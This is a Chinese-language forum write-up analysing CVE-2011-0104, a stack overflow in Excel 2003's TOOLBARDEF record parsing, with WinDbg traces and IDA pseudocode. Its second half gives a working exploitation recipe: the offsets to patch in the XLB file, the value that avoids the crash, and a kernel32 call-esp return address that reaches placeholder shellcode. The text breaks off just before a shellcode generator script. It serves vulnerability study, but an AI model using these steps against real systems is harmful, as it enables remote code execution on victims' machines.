查看原文
其他

CVE-2011-0104 Excel TOOLBARDEF Record栈溢出漏洞分析与利用

LarryS 看雪学苑 2022-07-01


本文为看雪论坛精华文章
看雪论坛作者ID:LarryS



1


简介


这篇文章重新回到栈溢出漏洞的分析,CVE-2011-0104是Excel在解析XLB文件中的TOOLBARDEF记录时,未正确进行数据验证导致的栈溢出漏洞。在进行这个漏洞分析时,我并没有完全遵循《漏洞战争》中的分析流程,准确的说,我做了一些扩展,参考Abysssec的分析文章,从漏洞利用的角度进一步分析了触发漏洞的文件格式,并对其进行修改,最后成功在我自己的环境下实现了漏洞利用。



2


漏洞调试


2.1 环境


操作系统:WinXP Pro SP3
 
Office: 2003 SP3
 
测试文件:书中使用的是由src.xlb构造而成的exploit.xlb文件,但是我在实验过程中,发现src.xlb文件一开始触发的异常和书中更相似,可能是环境不同的缘故。由于引入了shellcode代码后,栈中的数据会更加复杂,不利于分析。而src.xlb文件本身能够触发异常,已经足够进行漏洞分析了,所以我选择从这个文件开始进行漏洞分析。

2.2 确定异常函数地址


打开excel,使用windbg附加,然后打开src.xlb文件,程序中断:
(8e4.e2c): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=90909090 ebx=00000002 ecx=00000006 edx=3160ff00 esi=00000000 edi=00000400eip=300ce361 esp=0013aa24 ebp=0013aa8c iopl=0 nv up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE -EXCEL!Ordinal41+0xce361:300ce361 8908 mov dword ptr [eax],ecx ds:0023:90909090=????????

此时的栈中情况:
0:000> dd esp0013aa24 0013c854 00000000 00000002 bcdcb8c10013aa34 0013aa8c 40000002 3bd5d6df 3bd5d6df0013aa44 00000000 00000000 90909090 909090900013aa54 90909090 90909090 90909090 909090900013aa64 90909090 90909090 90909090 909090900013aa74 90909090 90909090 90909090 909090900013aa84 90909090 00000000 90909090 909090900013aa94 90909090 90909090 90909090 90909090

可以看到大量的0x90字节,已知这是一个栈溢出漏洞,所以大致可以猜出此时用于溢出栈的数据已经复制到了栈中,但是可能由于环境的问题,相关数据的偏移是错误的,所以才产生了异常。
 
由于缺少symbol,很多信息都无法查看,直接在IDA打开EXCEL.EXE文件,定位到地址300ce361,可以找到这个地址所在的函数地址为sub_300CE252,直接按照书中的说法,定义该函数为crashFun。

2.3 确定漏洞函数地址


确定了异常函数的地址,这次重新调试,并在crashFun处设置断点,到达后注意添加快照。根据之前的猜测,栈溢出就应该发生在这个函数调用之后,如果栈溢出的数据设置正常,应该会把这个函数的返回地址覆盖掉,只是这里由于环境的问题,数据偏移是错误的,但是该覆盖掉的数据应该还是会覆盖掉,所以直接在crashFunc的入口处设置一个栈顶元素的访问断点(栈顶元素保存的就是返回地址),然后继续执行。
0:000> ba r4 esp0:000> gBreakpoint 1 hiteax=00000300 ebx=00000300 ecx=000000a8 edx=00000300 esi=3085d480 edi=0013aa9beip=300ce3c8 esp=001379dc ebp=0013aa3b iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206EXCEL!Ordinal41+0xce3c8:300ce3c8 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0013aa9b=13c85400 ds:0023:3085d480=909090900:000> bl

所以应该就是这里的rep指令在进行数据复制的时候,导致了栈溢出。rep指令的地址是300ce3c8,在IDA中找到这个地址,确定其所在的函数为sub_300CE380,沿用书中的说法,将其定义为vulFun。
char *__userpurge vulFun@<eax>(char *dst@<ebp>, char *a2, unsigned int a3, unsigned int a4){ // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] v4 = a3; if ( !a3 ) return 0; if ( a3 > a4 ) { sub_300BF683(dword_3085C4B4, 6); goto LABEL_15; } v5 = dword_30861408; v6 = dword_3085D3F8; dst = a2; do { if ( v5 >= v6 ) { v9 = v4; if ( v4 > 0x4000 )LABEL_15: v9 = 0x4000; sub_300F975F(v9); v5 = dword_30861408; v6 = dword_3085D3F8; } length = v6 - v5; if ( v4 < length ) length = v4; qmemcpy(dst, (char *)dword_3085D400 + v5, length);// 这里发生栈溢出 v4 -= length; v5 = length + dword_30861408; dst += length; dword_30861408 += length; if ( !v4 ) break; v6 = dword_3085D3F8; } while ( dword_3085D3F8 == 0x4000 ); return (char *)(dst - a2);}

注意一下在vulFun中,qmemcpy函数在数据复制时发生栈溢出,而其中的length参数有两个来源:
length = v6 - v5;if ( v4 < length ) length = v4;

而v6和v5是两个内存中的值,v4来源于栈中的第二个参数a3。length就取两者中的偏小值。不过从qmemcpy后面的代码来看,整个数据复制的循环更像是由v4在控制,后续调试看看。
 
在这里设置一个快照,然后回退到crashFun入口点的时候,注意crashFun对栈空间的分配:
300ce252 55 push ebp300ce253 8bec mov ebp,esp // ebp <- esp = 13aa8c300ce255 83ec5c sub esp,5Ch // esp = 13aa30

在vulFun设置一个断点,继续执行:
0:000> bp 300CE3800:000> gBreakpoint 1 hiteax=306def87 ebx=00002020 ecx=00000018 edx=00003f79 esi=00000004 edi=001379fceip=300ce380 esp=001379ec ebp=00139ad8 iopl=0 nv up ei ng nz na pe cycs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287EXCEL!Ordinal41+0xce380:300ce380 53 push ebx0:000> dd esp l3001379ec 306defad 001379fc 00000004

此时栈中的第二个参数是4,第一个参数是001379fc,这是数据复制的目的地址,看来这次应该不是导致栈溢出的那次函数调用,但还是继续跟一下,确定v6和v5是两个值多大。
0:000> peax=306def87 ebx=00000004 ecx=00000018 edx=00003f79 esi=00000004 edi=001379fceip=300ce397 esp=001379e8 ebp=00139ad8 iopl=0 nv up ei ng nz na pe cycs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287EXCEL!Ordinal41+0xce397:300ce397 8b1508148630 mov edx,dword ptr [EXCEL!DllGetLCID+0x10bda (30861408)] ds:0023:30861408=000000180:000> peax=306def87 ebx=00000004 ecx=00000018 edx=00000018 esi=00000004 edi=001379fceip=300ce39d esp=001379e8 ebp=00139ad8 iopl=0 nv up ei ng nz na pe cycs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287EXCEL!Ordinal41+0xce39d:300ce39d a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID+0xcbca (3085d3f8)] ds:0023:3085d3f8=00003f7a

这两个值相差还是蛮大了,虽然会被修改,但是相差的量级变化不大,所以length主要还是由栈中的第二个参数控制。
 
由于此次调用并不是导致数据溢出的那次调用,我们继续执行,还是到达vulFun的起始位置。
0:000> gBreakpoint 1 hiteax=ffffefe1 ebx=000000ff ecx=ffffcfc1 edx=00003f79 esi=0013aa3b edi=0000303ceip=300ce380 esp=001379ec ebp=00139ad8 iopl=0 nv up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286EXCEL!Ordinal41+0xce380:300ce380 53 push ebx0:000> dd esp l3001379ec 306df0e1 0013aa3b 00000300

根据栈中保存的数据,此次数据复制的目的地址是0013aa3b,长度为0x300。还记得我们刚到达crashFun时记录的栈顶和栈基址吗?栈顶是13aa30,栈基址是13aa8c,所以这次数据复制的长度远超过函数栈帧覆盖的范围,导致了溢出的发生。


2.4 污点追踪


2.4.1 IDA中的分析


接下来就是所谓的污点追踪,查看导致溢出的数据长度0x300的来源。
 
栈中的第一个元素306df0e1是vulFunc的返回地址,从IDA中查找,得到306df0e1所在的函数为sub_306DEEFE,也就是这个函数调用了vulFunc。
 
在IDA中查看该函数,F5查看伪代码有500+行,全都分析过来肯定不现实。大致浏览一下整个函数,关注以下几句代码(如果自己分析还是要去IDA里面看,但看下面几句肯定看不明白):
v71 = readData();...else if ( v71 == 0xA7 ){ v13 = readData(); ... v73 = v13; ... vulFun((char *)&v50, (char *)v9, v73, -3 - v14 + v15);...

有一个很重要的函数readData,位于0x300CE402。名字是我自己起的,从它的代码来看,很明显是在一个src处读取数据。
int readData(){ v0 = stream_length; v1 = src_idx; if ( src_idx >= (stream_length - 1) ) { ... } else { result = *&src[src_idx]; src_idx += 2; } return result;}

我猜测这个函数就是在读取xlb文件内容。这里注意一下,程序使用一个保存在内存中的数值作为src数组的索引值,这里命名为了src_idx,每次readData读取两个字节,这个值也会增加2,之后还会遇到这个值。
 
接下来在函数sub_306DEEFE下断点(就是这个函数调用了vulFun,我们把这个函数叫做call_vulFun),调试跟踪一下。


2.4.2 文件内容调试分析


重新返回crashFun函数入口点的快照,设置断点,继续执行。
 
在进一步单步调试之前,我们先看一下用来测试的xlb文件src.xlb的格式,使用py-office-tools对该文件进行分析:
pyOffice.py -f src.xlb > src.txt

得到结果很长,这里没办法都贴出来,但是里面有一些数据有助于我们在调试的时候进行定位:
[*]Opening file ..\src.xlb[*]Listing streams/storages: Warning: OLE type 0x8 not in types [**]Detected Excel file ..\src.xlb********************************************************************************[*]Dumping Workbook stream 0x3f7a (16250) bytes... [ii]BOF record: current count 1[0]Record BOF [0x809 (2057)] offset 0x0 (0), len 0x10 (16) (Beginning of File) WORD vers = 0x600 (1536) WORD dt = 0x400 (1024) WORD rupBuild = 0x1faa (8106) WORD rupYear = 0x7cd (1997) DWORD bfh = 0x500c9 (327881) DWORD sfo = 0x406 (1030)[1]Record TOOLBARDEF [0xa7 (167)] offset 0x14 (20), len 0x4 (4) (Toolbar Definition:) BYTE fUnnamed = 0xb0 (176) WORD cbtn = 0xc0f (3087) Field 'rgbbtndef' is variable length, dumping rest of record: 0000000000 00 .[2]Record CONTINUE [0x3c (60)] offset 0x1c (28), len 0x300 (768) (Continues Long Records) Field 'data' is variable length, dumping rest of record: 0000000000 40 DF D6 D5 3B DF D6 D5 3B 00 00 00 00 00 00 00 @...;...;....... 0000000010 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ......................

接下来开始调试,首先进入readData()函数
0:000> teax=00000000 ebx=00000002 ecx=00000000 edx=00139a28 esi=00000000 edi=00000000eip=300ce402 esp=00139a18 ebp=00139ad8 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246EXCEL!Ordinal41+0xce402:300ce402 a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID+0xcbca (3085d3f8)] ds:0023:3085d3f8=00003f7a

注意到这里的3f7a,就是结果中的[*]Dumping Workbook stream 0x3f7a (16250) bytes...,这一数值在之前确定v5和v6的时候也遇到过。
 
接下来执行的代码:
300ce402 a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID+0xcbca (3085d3f8)] // 3f7a300ce407 8b0d08148630 mov ecx,dword ptr [EXCEL!DllGetLCID+0x10bda (30861408)] // 这里保存的是索引值300ce40d 8d50ff lea edx,[eax-1]300ce410 3bca cmp ecx,edx // 检查索引值是不是超过了stream的范围300ce412 0f8d20690200 jge EXCEL!Ordinal41+0xf4d38 (300f4d38)

一开始肯定是没有超过的,所以并没有跳转:
0:000> peax=00003f7a ebx=00000002 ecx=00000014 edx=00003f79 esi=00000000 edi=00000000eip=300ce418 esp=00139a18 ebp=00139ad8 iopl=0 nv up ei ng nz ac po cycs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293EXCEL!Ordinal41+0xce418:300ce418 0fb78100d48530 movzx eax,word ptr EXCEL!DllGetLCID+0xcbd2 (3085d400)[ecx] ds:0023:3085d414=00a7

注意这里就从偏移0x14的位置读取了一个数值0xa7,也就是说此时src_idx的值为0x14,首先注意它是从哪里读取的——3085d400,看一下这里的数据:
0:000> db 3085d4003085d400 09 08 10 00 00 06 00 04-aa 1f cd 07 c9 00 05 00 ................3085d410 06 04 00 00 a7 00 04 00-b0 0f 0c 00 3c 00 00 03 ............<...3085d420 40 df d6 d5 3b df d6 d5-3b 00 00 00 00 00 00 00 @...;...;.......3085d430 00 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................3085d440 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................3085d450 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................3085d460 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................3085d470 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

如果在010editor中打开src.xlb文件,可以找到这部分数据位于偏移0x600处。如果和pyOffice的输出结果做对比,可以发现这部分数据就是Record BOF [0x809 (2057)],紧跟其后的就是Record TOOLBARDEF [0xa7 (167)]。
 
根据参考资料3中对xls文件格式的理解,在调用call_vulFun这个函数之前,程序应该是先提取出来了一个长度为0x3f7a的Workbook stream,然后由call_vulFun函数进行处理,BOF记录标志着一个substream的起始位置,call_vulFun略过BOF记录,读入下一个记录的标志(0xa7),根据这个标志的不同取值进行不同的处理。
 
接下来继续往下调试,会发现程序读取了TOOLBARDEF记录的长度0x4,此时src_idx的值为0x16,读取完之后的值应该是0x18。
 
之后程序通过vulFunc将这四个字节复制到了栈中,注意在vulFunc中,虽然没有通过readData读取数据,但是因为已知了记录长度为4,所以直接将src中后续的四个字节读取到了栈中,并为src_idx增加了四个字节,也就是说,此时src_idx的值为0x1c。
...qmemcpy(dst, src + v5, length); v4 -= length;v5 = length + src_idx;dst += length;src_idx += length;...

然后有一系列的if语句,但是判断都没有通过,最终到达了判断tag是否为0xa7的语句,判断通过。
 
接下来有一系列的计算很有意思:
306df004 833da01c863005 cmp dword ptr [EXCEL!DllGetLCID+0x11472 (30861ca0)],5 // 这里保存的值没弄清楚是什么,但是这里保存的是6306df00b 8d0437 lea eax,[edi+esi] // esi=00000004 edi=001379fc -> eax=00137a00 edi保存的是之前复制4个字节时栈的起始地址306df00e 0f9dc2 setge dl // 根据比较结果,dl设置成1306df011 894574 mov dword ptr [ebp+74h],eax 306df014 668b4701 mov ax,word ptr [edi+1] // 读取TOOLBARDEF中的cbtn字段:0xc0f306df018 0fbff0 movsx esi,ax // esi = 0xc0f306df01b 897538 mov dword ptr [ebp+38h],esi306df01e 8d541202 lea edx,[edx+edx+2] // edx = 4306df022 0faff2 imul esi,edx // esi = 0xc0f*4 = 0x303c306df025 8d4f03 lea ecx,[edi+3] // ecx = 1379ff306df028 03f1            add     esi,ecx                      // esi = 13aa3b

注意这里最后获得的esi寄存器中的值,就是在2.4小节之前获得的发生溢出时数据复制的目的地址。
 
也就是说,程序在复制完TOOLBARDEF记录中的四个字节数据之后,根据它的cbtn字段,将接下来的数据复制目的地址增加了一大段。这里我的理解是,TOOLBARDEF记录中的len字段应该和cbtn字段是有关系的,可是这里的数据是自己构造的,len表示长度只有4字节,所以复制数据的时候只复制了4字节,但是根据cbtn字段计算的空间规模却很大,导致程序把栈中一大块未定义的空间当作了正常的数据。
 
到目前为止程序执行的代码如下:
... v70 = 0; tag = readData(); // 读取数据 得到0xa7 length = readData(); // 读取TOOLBARDEF记录的长度,得到0x4 v76 = length; v72 = 0; v67 = 0; if ( dword_30861C10 ) { ... } else { (sub_30007AD0)(v47[0]); // 这里根据调试应该是在分配足够的栈空间 // 直接将esp减少了0x2020 stack_start = v47; v73 = v47; v58 = 0x2020; } while ( tag != 0xA && tag != 0xC0 ) { vulFun(&v53, stack_start, length, 0x2020u); // 读入TOOLBARDEF的四个字节,放入栈中 // 接下来的几个判断都没有通过 ... else if ( tag == 0xA7 ) // 直到这里,判断通过 { cntn = &stack_start[length]; v76 = &stack_start[length]; LOWORD(cntn) = *(stack_start + 1); // 读取TOOLBARDEF中的cntn字段:0xc0f v61 = cntn; new_dst_addr = &stack_start[(2 * (dword_30861CA0 >= 5) + 2) * cntn + 3];// 这里根据cntn得到了一个很大的偏移量 v71 = cntn; four_bytes_end = (stack_start + 3); // 指向的是复制的四个字节的结束位置 v75 = 2 * (dword_30861CA0 >= 5) + 2;

接下来程序在循环处理这部分未定义的数据:
0:000> peax=00137a03 ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137a03=90909090

注意这里eax寄存器中的值为00137a03,本来TOOLBARDEF记录中的四字节数据是复制到了001379fc之后的四个字节,此时eax已经指向了之后未定义的那部分栈中数据,得到了90909090。这个数据应该是之前有栈帧占用这部分空间,残留的数据内容。
 
在循环处理数据的过程中,每读取一次数据之后,程序会做一系列的判断和处理,最终发生栈溢出的数据复制操作就发生在这期间:
if ( (v77 & 0x12F0000) != 0 && new_dst_addr >= v76 ){ ... vulFun(&v53, new_dst_addr, v76, -3 - v17 + v18); // 发生数据复制操作 ...}

如果在306df06c这里设置一个断点,然后执行,可以看到程序会多次断在这里,eax的值不断递增:
0:000> gBreakpoint 3 hiteax=00137a07 ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137a07=909090900:000> gBreakpoint 3 hiteax=00137a0b ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137a0b=909090900:000> gBreakpoint 3 hiteax=00137a0f ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137a0f=90909090...

一开始读取到的都是0x90909090,这个取值在进行v77 & 0x12F0000操作的时候,结果是0,因此不会执行到vulFun的位置。
 
同时在vulFun的位置设置一个断点,然后继续执行,
0:000> gBreakpoint 3 hiteax=00137b67 ebx=000000ff ecx=929f0bb5 edx=00000000 esi=0013aa3b edi=00000001eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137b67=2cd5e9750:000> gBreakpoint 4 hiteax=ffffefe1 ebx=000000ff ecx=ffffcfc1 edx=00003f79 esi=0013aa3b edi=0000303ceip=300ce380 esp=001379ec ebp=00139ad8 iopl=0 nv up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286EXCEL!Ordinal41+0xce380:300ce380 53 push ebx

当程序读取到00137b67的位置时,获得数值2cd5e975,2cd5e975 & 0x12F0000= 0x50000,可以通过判断条件。
 
按照之前的推断,在执行vulFun之前,调用readData读取到的内容应该是src中偏移src_idx,即偏移0x1c处的数据。为了确认这一点,回退一下快照,这次不要在vulFun的位置设置断点,只在306df06c设置一个条件断点,然后继续执行:
0:000> bp 306df06c "j (eax=137b67) '';'gc'"0:000> geax=00137b67 ebx=000000ff ecx=929f0bb5 edx=00000000 esi=0013aa3b edi=00000001eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137b67=2cd5e975

之后开始单步,进入到readData中之后,发现读取的确实是偏移0x1c处的数据:
0:000> peax=00003f7a ebx=000000ff ecx=0000001c edx=00003f79 esi=0013aa3b edi=00000001eip=300ce418 esp=001379f8 ebp=00139ad8 iopl=0 nv up ei ng nz na pe cycs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287EXCEL!Ordinal41+0xce418:300ce418 0fb78100d48530 movzx eax,word ptr EXCEL!DllGetLCID+0xcbd2 (3085d400)[ecx] ds:0023:3085d41c=003c

和pyOffice工具得到的输出相对比,就是位于TOOLBARDEF记录之后的CONTINUE记录,用0x3c标签表示。也正是0x3c这个数值,让程序继续执行到了后面的vulFun函数。
 
继续向下单步,接下来程序仍旧调用readData,读取了CONTINUE记录的长度为0x300,这个数值也会传递到vulFun中,作为数据复制的长度。注意到此时,由于读取了两次数据,src_idx的值应该是0x20。
if ( (v77 & 0x12F0000) != 0 && new_dst_addr >= length2_ ){ tag = readData(); // 记录的标签 if ( tag != 0x3C ) goto LABEL_181; length2 = readData(); // 记录的长度 v17 = v75 * v61; length2_ = length2; new_dst_addr = v73 + v75 * v61 + 3; // 这里根据cbtn再次计算了一次栈空间的地址,数值和之前是一样的 v18 = sub_300ADBAB(); vulFun(&v53, new_dst_addr, length2_, -3 - v17 + v18); if ( a5 && *(off_308595A8 + 11) ) sub_30481AF7(new_dst_addr, length2_, 1); v14 = v72; length2_ += new_dst_addr;}

上面是IDA中获得的伪代码,可以看出在调用vulFun之前的基本流程,最后调用vulFun的时候,查看栈中数据:
0:000> peax=ffffefe1 ebx=000000ff ecx=ffffcfc1 edx=00003f79 esi=0013aa3b edi=0000303ceip=306df0dc esp=001379f0 ebp=00139ad8 iopl=0 nv up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286EXCEL!MdCallBack+0x2800c4:306df0dc e89ff29eff call EXCEL!Ordinal41+0xce380 (300ce380)0:000> dd esp l3001379f0 0013aa3b 00000300 ffffefe1

可以看到复制的目的地址和长度。也就是说,程序会把src偏移0x20开始的0x300个字节的数据复制到0013aa3b的位置。
 
所以现在可以确定数据复制长度0x300来自TOOLBARDEF记录后面的CONTINUE记录的长度。


3


漏洞利用


3.1 几个特殊位置的确定


现在已经确定了0x300的来源,但是我还想要弄清楚后面异常发生的原因,怎样构造exploit文件实现漏洞利用。
 
到目前为止call_vulFun这个函数差不多看完了,因为异常发生在调用call_vulFun的crashFun函数中,所以我们可以直接跳过这个函数,回到crashFun中。直接在IDA中定位到返回地址的位置,下断点:
0:000> bp 306dfb550:000> gBreakpoint 4 hiteax=00000000 ebx=000000ff ecx=01b80000 edx=3160ff00 esi=00000000 edi=00000000eip=306dfb55 esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246EXCEL!MdCallBack+0x280b3d:306dfb55 8da544ffffff lea esp,[ebp-0BCh]

注意这里我是在返回地址的前几个指令下的断点,因为在参考资料2中:

Stack overflows are not hard to exploit at all ! but as we have both /GS , SAFESEH here. because given that we are destined to memcpy we can change it so that it begins to overwrite the stack after GS.


所以我检查了一下retn之前的几句指令,发现它确实在做一个检查:
0:000> peax=00000000 ebx=000000ff ecx=01b80000 edx=3160ff00 esi=00000000 edi=00000000eip=306dfb5b esp=00139a1c ebp=00139ad8 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246EXCEL!MdCallBack+0x280b43:306dfb5b 8b8d2c0f0000 mov ecx,dword ptr [ebp+0F2Ch] ss:0023:0013aa04=bcdcb8c1

注意这里,程序从0013aa04中取出了一个数值bcdcb8c1,进行了检查:
0:000> teax=00000000 ebx=000000ff ecx=bcdcb8c1 edx=3160ff00 esi=00000000 edi=00000000eip=30002150 esp=00139a18 ebp=00139ad8 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246EXCEL!Ordinal41+0x2150:30002150 3b0d009e8530 cmp ecx,dword ptr [EXCEL!DllGetLCID+0x95d2 (30859e00)] ds:0023:30859e00=bcdcb8c1

如果检查不通过程序就退出了。
 
所以栈中位置0013aa04的数值不能被修改。
 
这下可以回到crashFun函数了。结束了call_vulFun函数的调用,程序流程很快就跳转了发生异常的位置:
300ce354 8b452c mov eax,dword ptr [ebp+2Ch] ss:0023:0013aab8=90909090300ce357 3bc6 cmp eax,esi // esi这里是0300ce359 7408 je EXCEL!Ordinal41+0xce363 (300ce363) // 无法跳转300ce35b 8b0da01c8630 mov ecx,dword ptr [EXCEL!DllGetLCID+0x11472 (30861ca0)]300ce361 8908 mov dword ptr [eax],ecx // 发生异常

注意到,程序从0013aab8的位置读取了四个字节的数据,并与0进行比较,如果比较成功,程序会进行一些数据的更新,并成功执行到retn语句。但是这里比较失败了,所以最终触发了异常。
 
我在调试的时候,手工把eax的值修改成了0,让跳转发生,并最终单步到达retn语句:
0:000> peax=00000000 ebx=00000002 ecx=bcdcb8c1 edx=3160ff00 esi=00000000 edi=0013c854eip=300ce37d esp=0013aa90 ebp=90909090 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246EXCEL!Ordinal41+0xce37d:300ce37d c22c00 ret 2Ch

注意此时esp寄存器的值为0013aa90,如果进行漏洞利用,我们希望这里保存的就是跳转地址了,比如jmp esp指令。
 
所以现在有两个特殊位置的数据需要注意:

① 0013aab8地址保存的应该是0,这样就能保证程序跳转到执行到retn语句。

② 0013aa90地址保存的应该是jmp esp指令地址,之后可以放入shellcode的内容。


在第2节的最后,我们已经确定,程序会把src偏移0x20开始的0x300个字节的数据复制到0013aa3b的位置。经过计算:

① 0013aab8位于src偏移0x20 + 0x13aab8 - 0x13aa3b= 0x9D的位置。

② 0013aa90位于src偏移0x20 + 0x13aa90 - 0x13aa3b= 0x75的位置。


3.2 构造exploit文件


根据上面得到的两个特殊位置,我尝试对src.xlb中这两个位置的数据进行修改。

3.2.1 确定返回地址


首先确定jmp esp指令地址:
 
之前在看Exploit编写系列教程的时候,里面提到了一个工具findjmp.exe:
C:\Documents and Settings\test\Desktop>findjmp kernel32.dll esp Findjmp, Eeye, I2S-LaBFindjmp2, Hat-SquadScanning kernel32.dll for code useable with the esp register0x7C8369F0 call esp0x7C86467B jmp esp0x7C868667 call espFinished Scanning kernel32.dll for code useable with the esp registerFound 3 usable addresses


3.2.2 修改src.xlb


src.xlb文件中,对应于我们之前在IDA中的src的位置,是在偏移0x600的位置,也就是BOF记录起始的位置。
 
从这里开始找到偏移0x9D的位置,修改四个字节为00 00 00 00;找到偏移0x75的位置,修改四个字节为67 86 86 7c。
 
由于程序最后执行的返回指令是retn 2Ch,所以在返回地址的后面要预留0x2C字节,再写入真正的shellcode,我没有仔细计算长度,只是预留了足够的位置,写入了0xCC,这里只做测试,所以先不放入真正的shellcode。
 
修改好对应位置之后,重新打开excel,使用windbg附加,并在异常发生前的位置0x300ce354处设置断点,打开测试文件:
Breakpoint 0 hiteax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=00000400eip=300ce354 esp=0013aa24 ebp=0013aa8c iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246EXCEL!Ordinal41+0xce354:300ce354 8b452c mov eax,dword ptr [ebp+2Ch] ss:0023:0013aab8=00000000

可以看到程序中断的位置,在0013aab8读取数值为0,数据修改成功,单步继续执行,到达retn语句:
0:000> peax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=0013c854eip=300ce37d esp=0013aa90 ebp=90909090 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246EXCEL!Ordinal41+0xce37d:300ce37d c22c00 ret 2Ch0:000> dd esp l10013aa90 7c868667

注意到此时栈顶的数据是7c868667,正是我们之前搜索到的call esp指令所在的位置,数据修改成功,继续单步执行,到达call esp:
0:000> peax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=0013c854eip=7c868667 esp=0013aac0 ebp=90909090 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246kernel32!`string'+0x23:7c868667 ffd4 call esp {0013aac0}

步入之后,到达了nop指令的位置,继续向前单步,到达了我们设置的int 3指令:
0:000> peax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=0013c854eip=0013aae3 esp=0013aabc ebp=90909090 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=000002460013aae3 cc int 3

测试成功,现在可以替换成真正的shellcode了!


3.2.3 使用真正的shellcode


因为直接修改太麻烦了,所以这里使用脚本生成exploit文件,可以参考书中提供的exploit.py脚本:
